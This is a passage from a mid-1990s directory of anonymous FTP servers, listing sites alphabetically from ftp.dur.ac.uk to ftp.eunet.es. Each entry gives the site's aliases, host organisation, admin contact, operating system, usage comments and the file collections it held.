(SunOS 4.1) +URL : ftp://ftp.dur.ac.uk/ +Comment: +Files : animations; audio; cba; docs; emu; GKC; gothic; graphics; MS-DOS; + papers; pascal_runtime; postscript; povray; quantum; rsynth; + sendmail; tech-reports; TOS + +Site : ftp.e-technik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ftp.regent.e-technik.tu-muenchen.de, + recycle.regent.e-technik.tu-muenchen.de + reseq.regent.e-technik.tu-muenchen.de +Admin : ftp@e-technik.tu-muenchen.de +Organ : Technische Universitaet Muenchen (Munich University of Technology) + Electrical Engineering dept., Munich +Server : +System : +URL : ftp://ftp.e-technik.tu-muenchen.de/ +Comment: +Files : graphics related programs and files + +Site : ftp.earn.net +Country: France +GMT : +1 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl [posting] +Alias : loire.earn.net +Admin : ftpadmin@earn.net +Organ : European Academic Research Network (EARN) +Server : gopher.earn.net; gophermail through gopher@earn.net (send mail with + 'help' (not quotes) for instructions) +System : Unix +URL : ftp://ftp.earn.net/ +Comment: server can compress and tar +Files : cnre; docs; earnest; general EARN info; gophermail; listserv + archives; nethelp; networking info; networking services; nsc; tools + +Site : ftp.earthlink.net +Country: USA +GMT : -8 +Date : 10-Dec-94 +Source : jferrae@eis.calstate.edu (Jonathan A Ferraez) {posting} +Alias : moon.earthlink.net +Admin : support@earthlink.net +Organ : Earthlink Network, Los Angeles, California +Server : +System : Unix +URL : ftp://ftp.earthlink.net +Comment: +Files : Earthlink info; Software: Amiga, ISDN (Windrider), Mac (net related + utils, PC (AWE32, CTHUGHA, DOS_SLIP, games, ghostview, mstcpip, + mosaic, netscape, offlinereaders, tiskwin (mirror from + ftp.halcyon.com), , PGP, SGI (ESPModeller); + Constitution (legal and gov files) + +Site : ftp.eb.ele.tue.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : old ftp-list +Alias : eba.eb.ele.tue.nl +Admin : wjw@eb.ele.tue.nl (Willem-Jan Withagen) +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, Digital Systems Group +Server : +System : Unix +URL : ftp://ftp.eb.ele.tue.nl/ +Comment: Apollo public domain ftp server +Files : Apollo: general info, PD binaries; comp.sys.apollo; + comp.compilers; comp.binaries.{ibm.pc,os2} (1 month); compiler + tools; DJGPP DOS GNU/CC compiler; EmTex; EMX/GCC compiler; GMD + Cocktail; NLUUG CD-ROM; OS/2; TeXhax + +Site : ftp.ecn.bgu.edu +Country: USA +GMT : +Date : 24-Aug-94 +Source : Unix Info magazine +Alias : uxa.ecn.bgu.edu +Admin : +Organ : BG University +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.ecn.bgu.edu/ +Comment: +Files : archive; cs-research; eiu; fine-art; gopher; perl; ph; Sun-admin; + Sun-fixes + +Site : ftp.ecn.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : ecnsun.ecn.nl +Admin : bernards@ecn.nl (M.A. Bernards) +Organ : Energie Centrum Nederland (Netherlands Energy Research Foundation, + ECN), Petten, Group Networking and Computer Facility Management +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ecn.nl/ +Comment: +Files : docs (FlexLM, Sun2OSF); ECN; RP-1; Sun-patches; Sun-source + +Site : ftp.ecrc.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ecrc.de +Admin : melvin@ecrc.de +Organ : , Munich +Server : +System : +URL : ftp://ftp.ecrc.de/ +Comment: please transfer files outside of normal business hours + (08:00-16:00 CET); this server understands REGET +Files : + +Site : ftp.ecs.soton.ac.uk +Country: UK +GMT : 0 +Date : 22-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : bright.ecs.soton.ac.uk +Admin : +Organ : University of Southampton, Southampton, ECS +Server : +System : Unix (SunOS 4.1)2 +URL : ftp://ftp.ecs.soton.ac.uk/ +Comment: +Files : admin; benchmarks; digits; docs; eefl; elm; etet; Mac; misc; + MS-DOS (demos (overlord), patches (ufo1-2)); netweek; news; occam; + papers; pastpapers; PC; SGI; transputer; UC; Unix; X11 + +Site : ftp.ecst.csuchico.edu +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : Netrek FAQ; old ftp-list +Alias : hairball.ecst.csuchico.edu [?], cscihp.ecst.csuchico.edu +Admin : +Organ : California State University - Chico, Chico, California +Server : gopher +System : Unix +URL : ftp://ftp.ecst.csuchico.edu/ +Comment: directory: /pub/netrek/src +Files : atman; chemistry; crossfire; ctix; ems; geos; hotmetal; Mac; menu; + model.horse; Mosaic; mtg; net; Netrek sources; online chemistry + manual; PC; sca; stcpubscomp; thesis; warlock; zippy + +Site : ftp.ed.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : pcserver2.ed.ac.uk +Admin : ftpmaster@edinburgh.ac.uk +Organ : University of Edinburgh, Edinburgh, Scotland +Server : +System : Unix +URL : ftp://ftp.ed.ac.uk/ +Comment: points to other .ed.ac.uk ftp servers; uploads to /incoming, send + mail to the admin when you upload something. You won't be able + to see the file once you upload them; some other loose files in /pub +Files : a2ps; courses; EdLAN; emwac [mirror of emwac.ed.ac.uk?]; GNU; IUSC; + JIPS; lrtt; mail; mmaccess; maps; MFT; Motif FAQ; netdocs; PC-NFS; + pdps; smrsh; Solaris; spooling; Sun: ecl, fixes, papers; UCSG; + uniras; Unixhelp; whiteosi; X.400; X11 FAQ + +Site : ftp.ed.gov +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : ctilmes@ed.gov (Curt Tilmes) {posting} +Alias : gopher.ed.gov +Admin : wwwadmin@inet.ed.gov +Organ : US Dept. of Education, Washington D.C., D.C., Office of Educational + Research and Improvement (OERI) +Server : gopher.ed.gov, www.ed.gov +System : Unix +URL : ftp://ftp.ed.gov/ +Comment: also available through Gopher (gopher.ed.gov) and WWW (www.ed.gov) +Files : ED_wide (Dept. of Education Initiatives and Legislation); OERI + gopher; National Center for Education Statistics (NCES) gopher; WWW + +Site : ftp.edv.agrar.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : pollux.edv.agrar.tu-muenchen.de +Admin : rottler@pollux.edv.agrar.tu-muenchen.de +Organ : Technische Universitaet Muenchen (Munich Institute of Technology), + Munich, DVS Weihenstephan +Server : +System : +URL : ftp://ftp.edv.agrar.tu-muenchen.de/ +Comment: available through Gopher and the WWW; during business hours max. 3 + users +Files : IDOLON imagemanipulationsystem; OS/2; Unix; Windows; X11 + +Site : ftp.edu.tw +Country: Taiwan +GMT : +8 +Date : 10-Sep-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : archive.edu.tw, nctuccca.edu.tw +Admin : ftp-adm@nctuccca.edu.tw (ftp administration), hch@nctuccca.edu.tw + (Chih-Hsien Huang), james@nctuccca.edu.tw (James Huang), + postmaster@nctuccca.edu.tw (system administration), +Organ : Campus Computer Communication Association, National Chiao Tung + University +Server : ftpmail@ftp.edu.tw (local archive only) +System : Unix (SunOS 4.1.3, Sun SPARC 10 Model 51) +URL : ftp://ftp.edu.tw/ +Comment: mirrors of over 100 sites; largest site in Asia; 13GB used; + overseas users welcome; max. 200 users; server supports on the fly + g(un)zip; FSP available via port 21; Author FTP accounts available +Files : Aminet; BSD; Chinese Apps (ifcss.org); Computing Languages; E-Text; + ftp-list (documents/networking/guides/ftp-list); Images; GNU; Linux; + MaasInfo files (documents/Internet/Maasinfo); Mac; mirrors: + coombs.anu.edu.au, garbo.uwasa.fi (/PC/garbo), ftp.uml.edu + (/Ulowell/msdos or /PC/uwp), ftp.cica.indiana.edu, Simtel Software + Repository (/pub/mirrors/msdos); MS-DOS; MS-Windows; NCSA Apps; + NCTU; Netlib; Next; OS/2; Packages; Sound; Statlib; Unix; Usenet; + Vendorware; VLSI; X-Windows; XFree86 (mirror from ftp.xfree86.org + under construction) + +Site : ftp.ee.lbl.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ee.lbl.gov +Admin : +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : +System : +URL : ftp://ftp.ee.lbl.gov/ +Comment: +Files : graphics related files and programs; pbmplus; Rayshade data files + +Site : ftp.ee.mu.oz.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : Computer Underground Digest (CuD) +Alias : +Admin : +Organ : Melbourne University, Melbourne, EE dept. +Server : +System : Unix +URL : ftp://ftp.ee.mu.oz.au/ +Comment: +Files : NetBSD1.0b; PeeCee; skey; spim + +Site : ftp.ee.pdx.edu +Country: USA +GMT : -8 +Date : 29-Sep-94 +Source : pitakc@ee.pdx.edu (Pitak Chenkosol) {posting} +Alias : ursula.ee.pdx.edu +Admin : cat@ee.pdx.edu +Organ : Portland State University, Portland, Oregon, EE dept., Computer + Action Team (CAT) +Server : +System : Unix +URL : ftp://ftp.ee.pdx.edu/ +Comment: max. 30 users +Files : amanda; Amiga; bnb; books; fvwm; gaming; gopherfiles; MBONE; + mirror [?]; mst3k; multicast; network-info; NRD535/535D control + software (rec.radio.shortwave); plop94; rdist; security; + train-sounds; wu-ftpd; zines + +Site : ftp.ee.sunysb.edu +Country: USA +GMT : -5 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : tweety.ee.sunysb.edu +Admin : +Organ : State University of New York - Stoney Brook, Stoney Brook, New York, + EE dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ee.sunysb.edu/ +Comment: TR directory appears to be empty; probably accessible via WW as well +Files : graduate files; http; mailinglists + +Site : ftp.ee.ualberta.ca +Country: Canada +GMT : -7 +Date : 29-Sep-94 +Source : charro@ee.ualberta.ca (Dan Charrois) {posting} +Alias : wattson.ee.ualberta.ca +Admin : ftpadmin@ee.ualberta.ca +Organ : University of Alberta, Edmonton, Alberta, EE dept. +Server : +System : Unix +URL : ftp://ftp.ee.ualberta.ca/ +Comment: disclaimer; warning to not upload 'bad' material; max. 30 users; + the local weather is probably cold +Files : ccts; cookbook: Circuit Cookbook (from bode.ee.ualberta.ca); drives; + eegeneral; electrical; gopher; hev; HP48; Mac; Motorola; MS-DOS; + music; OS; OS/2; spice; Unix; wuarchive + +Site : ftp.ee.und.ac.za +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : lucy.ee.und.ac.za +Admin : ftp@ftp.ee.und.ac.za +Organ : University of Natal - Durban, Durban, Natal, EE dept. +Server : +System : Unix +URL : ftp://ftp.ee.und.ac.za/ +Comment: transfers are logged; descriptive ls/dir command +Files : Alternet SA; archiving; bible; crypto; docs; f2c; Internet info + (drafts, netinfo, RFCs); ioccc (International Obfuscated C Code + Competition); mail; MS-DOS (mostly networking related); Novell; + optics; Plan9 man; security; superconductivity; TeX; time; + UniNet ZA; Unix; usenet news; WAIS + +Site : ftp.eece.unm.edu +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : globo.eece.nm.edu +Admin : ftp@chama.eece.unm.edu +Organ : University of New Mexico, Albuquerque, New Mexico +Server : +System : Unix +URL : ftp://ftp.eece.unm.edu/ +Comment: Khoros patch level 5 moved to ftp.khoros.unm.edu; max. 20 users +Files : 386BSD; caf; cbw; cygnus; ftp-list [old!]; idl; images; inet; istec; + Khoros; lpf; Mac; maps; network; nnet; PC; rec.games.abstract; Sun; + tech-reports; UNMrobot; wu-ftpd + +Site : ftp.eecs.umich.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : gip.eecs.umich.edu +Admin : ftp@gip.eecs.umich.edu +Organ : University of Michigan, Ann Arbor, Michigan, EE and CS dept. +Server : +System : Unix +URL : ftp://ftp.eecs.umich.edu/ +Comment: transfers are logged; server supports file/directory compression + and tarring in both gzip and standard compress format +Files : A; cheetah; chuanhua; cvss; foo; gsp; hero; Images; lien; lien2; + lot; mine; NeXt music; paper; people; psai; USGS; wlpoon + +Site : ftp.efd.lth.se +Country: Sweden +GMT : +1 +Date : 05-Oct-94 +Source : Per.Foreby@efd.lth.se; old ftp-list +Alias : panda.efd.lth.se +Admin : ftp-admin@efd.lth.se +Organ : Lund Institute of Technology, Lund, EE & CS dept. +Server : +System : Unix +URL : ftp://ftp.efd.lth.se/ +Comment: user 'ftp' can be used instead of 'anonymous'; used to be + krynn.efd.lth.se +Files : 386BSD; AMD; arcers; athena; core_wars; editors; GNU; graphics; + HP-calc; languages; Linux; login; Mac; mail; modem; network; news + PC; postgres; postscript; printer; roff; sbf2.zip [?]; security + shells; sounds; tex; util; VMS; X11 + +Site : ftp.eff.org +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : mech@eff.org (Stanton McCandlish); old ftp-list +Alias : gopher.eff.org, www.eff.org, wais.eff.org +Admin : webmaster@eff.org +Organ : Electronic Frontier Foundation (EFF), Washington, + District of Columbia +Server : http://www.eff.org/ gopher://gopher.eff.org/ wais://wais.eff.org/ + mail: archive-server@eff.org (local archive only) + mail: netguide@eff.org (EFF Guide to the Internet) + mail: info@eff.org (basic EFF info) +System : Unix (SunOS) +URL : ftp://www.eff.org/ +Comment: Special features: WWW indexes providing links to relevant on- and + off-site resources in many directories (for WWW clients and + gopher clients that can handle HTML). All files available + via FTP, gopher and WWW. Auto [de]compression in .Z and .gz + format (see /pub/README !); user 'ftp' can be used instead of + 'anonymous'; tranfers logged only temporarily to protect user + privacy (only non-personally-identifying stats are retained). + Max user load ~50 until some time in 95 (hardware upgrades coming). + *Relevant* uploads to /incoming - please see /README.incoming, + thanks. Site is mirrored in whole or in part at coast.cs. + purdue.edu (/pub/mirrors/ftp.eff.org/), wuarchive.wustl.edu (/pub/ + doc/EFF/), uceng.uc.edu (/pub/warchive/doc/EFF/), ftp.std.com + (/src/wuarchive/doc/EFF/), ftp.glocom.ac.jp (/mirror/ftp.eff.org/) + etc. CuD archive mirrored at etext.archive.umich.edu (/pub/CuD/), + aql.gatech.edu (/pub/eff/cud/), ftp.halcyon.com (/pub/disk1/cud/), + nic.funet.fi (/pub/doc/cud/), ftp.warwick.ac.uk (/pub/cud/), etc. + Site ftp.eff.org is available 24 hours per day (barring accident). +Files : EFF-related materials (newsletters, press releases, legislative + analyses, etc.); legal and govt. information (crypto/privacy, + case law, bill and govt. report texts, action alerts, censorship + & free speech, NII/GII/III); network information (Internet + guidebooks, FAQs, resource lists, net.culture articles, networking + utilities, PGP); online non-profit organizations (SEA, EFF-Austin, + etc.); electronic publications (e-journals, CuD, Phrack, Cyberwire + Dispatch - many zines on networking issues and home site of the + Computer underground Digest archives); Computers and Academic + Freedom project archive (AUPs, university censorship issues, + intellectual freedom, legal texts). + +Site : ftp.ege.edu.tr +Country: Turkey +GMT : +2 +Date : 17-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : baum02.ege.edu.tr, gopher.ege.edu.tr +Admin : +Organ : +Server : +System : OSF/1 +URL : ftp://ftp.ege.edu.tr/ +Comment: +Files : Amiga; docs; GIF (EGE, Movies, Tourism); MEDCAMP; MS-DOS (4DOS, + demos, docs, filedocs, games, graphics, gscript, info, memman, + networks, sound, virus, win3, xwindows, zip); OS/2 (bbs, perfbeta, + servpack, tcputils); RFCs; Unix + +Site : ftp.einet.net +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : +Admin : ftp@ftp.einet.net +Organ : EINet +Server : +System : Unix +URL : ftp://ftp.einet.net/ +Comment: directory: /einet/pc +Files : carnot; dai; EINet info; EINet MacWeb/WinWeb/WinWAIS (mirrored on + www.jsc.nasa.gov); gopher-jewels; hpm; iceimt; msda; smr + +Site : ftp.eit.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : kevinh@eitech.eit.com (Kevin Hughes) {posting} +Alias : eitech.eit.com, www.eit.com, raps.eit.com +Admin : +Organ : Enterprise Integration Technologies +Server : www.eit.com +System : Unix +URL : ftp://ftp.eit.com/ +Comment: disclaimer; ftpadminaddress is wrong! [!!!] +Files : Acorn; cnet; dice; dis; doc center; ee; kqml; made; obst; papers; + pls; servicemail; shade; share; talks; Web: guide, icons, software, + WWWWAIS; winterp; wsk + +Site : ftp.elka.pw.edu.pl +Country: Poland +GMT : +1 +Date : 12-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : proton.elka.pw.edu.pl +Admin : +Organ : Technical University of Warsaw, Warsaw, EE dept. +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.elka.pw.edu.pl/ +Comment: +Files : docs; DOS (clipper, doc, dos_unix, dpmi, gnu, gopher, graph, gs, + html, ka91, novell, pcbridge, pcroute, pegasus, perl, pkt, tcp, + telnet.win, TeX, waterloo, windows, wintcp, xapeal); ELKA; FAQs; + IAPW; ISO; RFCs; Unix (database, DTP, GNU, gopher, graphics, Ks, + Linux, mail, network, news, programming, publishing, shells, TeX, + WWW, X11R5 + +Site : ftp.elpress.com +Country: USA +GMT : +Date : 25-Jan-95 +Source : david@c-cat.UUCP +Alias : semaphore.elpress.com +Admin : +Organ : Electric Press +Server : http://www.elpress.com/ +System : Unix +URL : ftp://ftp.elpress.com/ +Comment: file transfer location for the customers of Electric Press +Files : BSD.kernel; MPEG; Netscape; Telnet; Toshiba + +Site : ftp.elsevier.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : gandalf.elsevier.nl +Admin : +Organ : Elsevier Science Publishers, Amsterdam +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.elsevier.nl/ +Comment: +Files : algtop; sgml; styles; Tulip + +Site : ftp.elvis.msk.su +Country: Russia +GMT : +2 +Date : 29-Sep-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : +Admin : ftpman@elvis.msk.su +Organ : ELVIS+, Co. +Server : mailserv@elvis.msk.su ; ftpmail@elvis.msk.su (send "help") +System : +URL : ftp://ftp.elvis.msk.su/ +Comment: [prelimary entry, not tested yet] +Files : apple; books; databases; dos; editirs; FAQ; faxgate; FreeBSD; + galaxy; games; gnu; graphics; images; infosystems; multimedia; + network; news; relcom; rfc; security; sun; unix; usenet; vendors; + windows; X11 + +Site : ftp.embl-heidelberg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : felix.embl-heidelberg.de +Admin : nethelp@embl-heidelberg.de +Organ : European Molecular Biology Lab (EMBL), Heidelberg +Server : +System : +URL : ftp://ftp.embl-heidelberg.de/ +Comment: +Files : + +Site : ftp.eng.ufl.edu +Country: USA +GMT : -5 +Date : 22-Sep-94 +Source : depol@cui.unige.ch (Philippe de Pol); ftp.uwp.edu +Alias : hornet.eng.ufl.edu +Admin : +Organ : University of Florida, , Florida, Engineering dept. +Server : +System : Unix +URL : ftp://ftp.eng.ufl.edu/ +Comment: successor of wasp.eng.ufl.edu +Files : depot; fair; Minix; MS-DOS demos (ftp.uwp.edu); Net; pamphlet; RFCs; + skydive; tf-itr; umdnfs; X11R5; some loose Mac and Unix files in + /pub (mostly old) + +Site : ftp.ens.fr +Country: France +GMT : +1 +Date : 30-Aug-94 +Source : Elham.Morcos-Chounet@ens.fr {posting} +Alias : nef.ens.fr +Admin : ftpmain@ens.ens.fr +Organ : Ecole Normale Superieure, Service de Prestations Informatique + (CS dept.) +Server : WWW +System : Unix +URL : ftp://ftp.ens.fr/ +Comment: transfers are logged +Files : Bitnet; ens; FAQs; Internet (economics, libraries, services); + listserv; Mac; math; meteo; mod2mag; Mosaic; NeXT; PC (arc-lbr, + comm, dos, lang, Linux, net, tex, virus); pomp; pompc; primes; + reports; security; sun-managers; TeX; Unix + +Site : ftp.enst.fr +Country: France +GMT : +1 +Date : 14-Dec-94 +Source : ftp-france-liste +Alias : sirocco.enst.fr +Admin : archivist@enst.fr +Organ : Ecole National Superieure des Telecoms (ENST), Paris, CS dept. +Server : +System : Unix +URL : ftp://ftp.enst.fr/ +Comment: transfers are logged +Files : afa; archivers; bench; docs; ENST; FAQs; games; GNU; infosystems; + Internet; Mac; mail; network; PC; prog; reports; RFCs; security; + sesame; sounds; SSBA (mirrored on ftp.univ-lyon1.fr); TeX; tools; + tribunix; Unix; VMS; X-paleolitic; X11 + +Site : ftp.eos.ncsu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : PC NFS FAQ +Alias : +Admin : software@eos.ncsu.edu +Organ : North Carolina State University, Raleigh, North Carolina, College + of Engineering, Project Eos +Server : +System : Unix +URL : ftp://ftp.eos.ncsu.edu/ +Comment: directory: /pub/mxqwais +Files : 68K; anyboard; bae; bnr; DAS; E115; Eos; IEEE info; Maple; MXQWAIS; + MXTerm; netgen; rs6k; simul; spectra; symform; tandy100; tgc; + transportation; VLSI; water quality; WXMap; XCede + +Site : ftp.epcc.ed.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : University of Edinburg, Edinburgh, Scotland, Edinburgh Center for + Parallel Computing (EPCC) +Server : +System : Unix +URL : ftp://ftp.epcc.ed.ac.uk/ +Comment: transactions are logged +Files : chimp; cs9; cupid; DCS; explorer; ftpmail.help [?]; ifip; paramics; + parintro; pul; RCS; rpl2; ss; t3d-docs; th; tn; tr; ug; vispad; + visualization + +Site : ftp.epilogue.com +Country: +GMT : +Date : 11-Mar-94 +Source : +Alias : quern.epilogue.com, epilogue.com +Admin : +Organ : Epilogue +Server : +System : Unix +URL : ftp://ftp.epilogue.com/ +Comment: +Files : demo's; natsume; sra; wine + +Site : ftp.erg.sri.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : ftp.cp.tn.tudelft.nl +Alias : calistus.erg.sri.com +Admin : ftpmaster@erg.sri.com +Organ : SRI International, , Information Telecommunications and Automation + Division +Server : +System : Unix +URL : ftp://ftp.erg.sri.com/ +Comment: Problem: can't create data socket [under reconstruction] +Files : + +Site : ftp.es.ele.tue.nl +Country: Netherlands +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : viper.es.ele.tue.nl +Admin : +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, Digital Systems Group +Server : +System : Unix +URL : ftp://ftp.es.ele.tue.nl/ +Comment: +Files : Cursor; down; gnufax; HP UX; hua; LP_solve; neat; nnet; objc; + primes examples; tiggr + +Site : ftp.es.net +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : nic2.es.net +Admin : +Organ : ESNet +Server : www, gopher +System : Unix +URL : ftp://ftp.es.net/ +Comment: +Files : AFS; Dante; dce; DECUS; DOE-gosip; DOE-oer; edwg; esnet-doc; + esnet-stats; essc; FYI; gated-consortium; high-speed-networking; + hypertext; IAB; IESG; IETF; Internet-drafts; + Internet-Resource-Guide; Internet Talk Radio (ITR); ISODE; + mailing-lists; maps; MHS; nersc; networking-info; NIST; NREN; OSI; + pics [?]; public-domain [?]; RFCs; security; services; USGS; + whitepages + +Site : ftp.eskimo.com +Country: +GMT : +Date : 15-Dec-94 +Source : sven@sven.iaehv.nl (Sven Pechler) {posting} +Alias : mail.eskimo.com +Admin : +Organ : Eskimo +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.eskimo.com/ +Comment: user public directories +Files : anime-project; arogpet; comp.sys.novell FAQ; cyberartists; + evergreen; feminist; fireeyes; GlasNews; icebrkr; IRC; OneNet; + paramind; ravensys; security; SL9; subvert; team; thought; tpinfo; + UFO; Voyager + +Site : ftp.estec.esa.nl +Country: The Netherlands +GMT : 0 +Date : 16-May-94 +Source : David M. Swain (daves@regulus.demon.co.uk) +Alias : aixesa2.estec.esa.nl +Admin : +Organ : European Space Agency (ESA), Noordwijk +Server : +System : Unix +URL : ftp://ftp.estec.esa.nl/ +Comment: +Files : CODE; csds; ers; esbtc; ESIS (European Science Information System) + data files including current ESA science program project files + (CLUSTER, ISO, POEM etc); gp; network files and ESA administrative + documents; ntp; opex; piers; poem; public relations documents + + PC/MAC files; soho; TOPSIM; TST; WDP; wm; xe; ypa + +Site : ftp.et.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : dutepp0.et.tudelft.nl, dnpap.et.tudelft.nl, tudedv.et.tudelft.nl +Admin : J.P.M.vOorschot@et.tudelft.nl (Jan van Oorschot) +Organ : Technische Universiteit Delft (Delft University of Technology), + Delft, EE dept., DNPAP +Server : +System : VAX/VMS running MadGoat (OpenVMS) +URL : ftp://ftp.et.tudelft.nl/ +Comment: be nice and don't overload it; special areas: btng, Fergie; + Default directory: PMDF_ROOT:[MAILSERV.FILES] +Files : btng (RMON ethernet monitor + Tricklet SNMP tools); Dnpap tools; + docs; Fergie (DOS SNMP ethernet monitor and DOS ethernet frame + grabber, previously called Gobbler and Beholder); MS-DOS; P3; Sage; + Unix; Watergate + +Site : ftp.et-inf.fho-emden.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : server.et-inf.fho-emden.de +Admin : +Organ : Fachhochschule Emden, Emden +Server : +System : +URL : ftp://ftp.et-inf.fho-emden.de/ +Comment: +Files : Atari; doc; Linux; magazines; Minix; MS-DOS; OS/2; RFCs; sound; TeX; + Unix + +Site : ftp.etext.org +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Paul Southworth (pauls@locust.cic.net) +Alias : fir.cic.net, etext.archive.umich.edu, red.css.itd.umich.edu + redspread.css.itd.umich.edu, hellcow.css.itd.umich.edu, +Admin : ftp@etext.org, ftp@etext.archive.umich.edu +Organ : Private site. +Server : gopher.etext.org, www.etext.org +System : Unix (SunOS 4.1.3, SPARCstation IPX) +URL : ftp://ftp.etext.org/ +Comment: Alternative politics, zines, fiction, poetry; 32Mb RAM; 1.5Gb disk +Files : CERT Advisories; CPSR; Gutenberg; Legal; Libellus; Mailing lists; + Objectivism; Poetry; Politics; Quartz; Religious texts; Sports; + Text files and electronic journals: Computer Underground Digest + (CuD) archives, other zines (electronical magazines); Well; X11; + Zines + +Site : ftp.etsu.edu +Country: USA +GMT : -6 +Date : 16-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : merlin.etsu.edu +Admin : wright@merlin.etsu.edu +Organ : East Texas State University, Commerce, Texas +Server : +System : Unix +URL : ftp://ftp.etsu.edu/ +Comment: User limitations: Mon-Fri: 12am-6am: 15, 6am-8am: 10, 8am-10pm: + 6 users, 10pm-12am: 8, Sat-Sun: 6am-12am: 10, 12am-6am: 15; + Merlin's Aminet archive: use local sites if you're not from the USA + like ftp.luth.se; server supports Amiga type assigns: cd mods will + take you to /aminet/mods; several README files, READ them! +Files : AB20; AMINET; CDlink; GIFserv; GIDSs; IBM-PC; mods; recipes; tools; + Unix; Usenet + +Site : ftp.evitech.fi +Country: Finland +GMT : +2 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : cserver.evitech.fi +Admin : +Organ : Espoo/Vanta Institute of Technology, Espoo, + Information Technology dept. +Server : +System : Unix +URL : ftp://ftp.evitech.fi/ +Comment: +Files : doc (Netdocs, RFCs); Linux (Slackware); Mac (Mosaic); MS-DOS (math, + multimedia, util); Novell; Taik; Unix (HP-UX 9); WWW (doc, html, + httpd, Lynx, Mosaic, Perl, rootitus) + +Site : ftp.eu.net +Country: Netherlands +GMT : +1 +Date : 15-Dec-94 +Source : old ftp-list +Alias : eunet.eu.net, mcsun.eu.net +Admin : ftp@eu.net, info-admin@eu.net +Organ : EUnet European Backbone, Amsterdam +Server : +System : Unix +URL : ftp://ftp.eu.net/ +Comment: successor of mcsun.eu.net as central European archive (alias still + works); the file FULLINDEX contains a listing of all files +Files : GNU; graphics; mail; misc network; znews; programming; ripe; + text proc utils; UUmap; windows; security; eurographics; + bootstrap; some archives of Usenet groups; X11R6 + +Site : ftp.eunet.ch +Country: Switzerland +GMT : +1 +Date : 14-Dec-94 +Source : dlist@ora.com; old ftp-list +Alias : ds.eunet.ch +Admin : archive@eunet.ch +Organ : CHUUG/EUnet Switzerland (CH), Zurich +Server : +System : Unix +URL : ftp://ftp.eunet.ch/ +Comment: Open 24 hours; limit of 5 anonymous ftp users; transfers are logged; + non-EUnet customers: please restrict access to non-working hours; + successor of chsun.eunet.ch +Files : Amiga BSD; Aminet; CHUUG; docs; FSP; Gopher; Mirrors: GNU, X11 + contrib, RFCs; NetBSD Amiga; network; news-archive; NeXT (mirror + from ftp.informatik.uni-muenchen.de); Unix; vendor; WAIS + +Site : ftp.eunet.cz +Country: Czech Republic +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : is.eunet.cz +Admin : archive-admin@eunet.cz +Organ : EUnet Czechoslavakia (CZ) +Server : +System : Unix +URL : ftp://ftp.eunet.cz/ +Comment: transfers are logged; max. 10 users +Files : Big Dummy's Guide to the Internet; cdrom; CERT; GNU; Guidebooks; + Kermit; MERIT; network; NIC; Novell; RIPE; security; SURANet info; + Telnet; Web/WWW; Winsock; X11 + +Site : ftp.eunet.es +Country: Spain +GMT : +1 +Date : 19-Jul-94 +Source : pepe@eunet.es (Jose A. Manas); dlist@ora.com +Alias : goya.eunet.es +Admin : postmaster@eunet.es +Organ : EUnet Spain (ES), Madrid, Goya Servicios Telematicos +Server : mail@ftp.eunet.es (subject doesn't matter, include 'help' + (no quotes) in the body), wais.eunet.es, gopher.eunet.es, + www.eunet.es +System : Unix (Sun-4 ELC, SunOS 4.1.1) +URL : ftp://ftp.eunet.es/ +Comment: +Files : Anuncios (announcements of Spanish events on networking); + Documents/CE (Spanish related information about the European + Commission); EUnet/Spain (Spanish service provider information); + FAQs; Interstand (information from Spanish sites and institutions); + 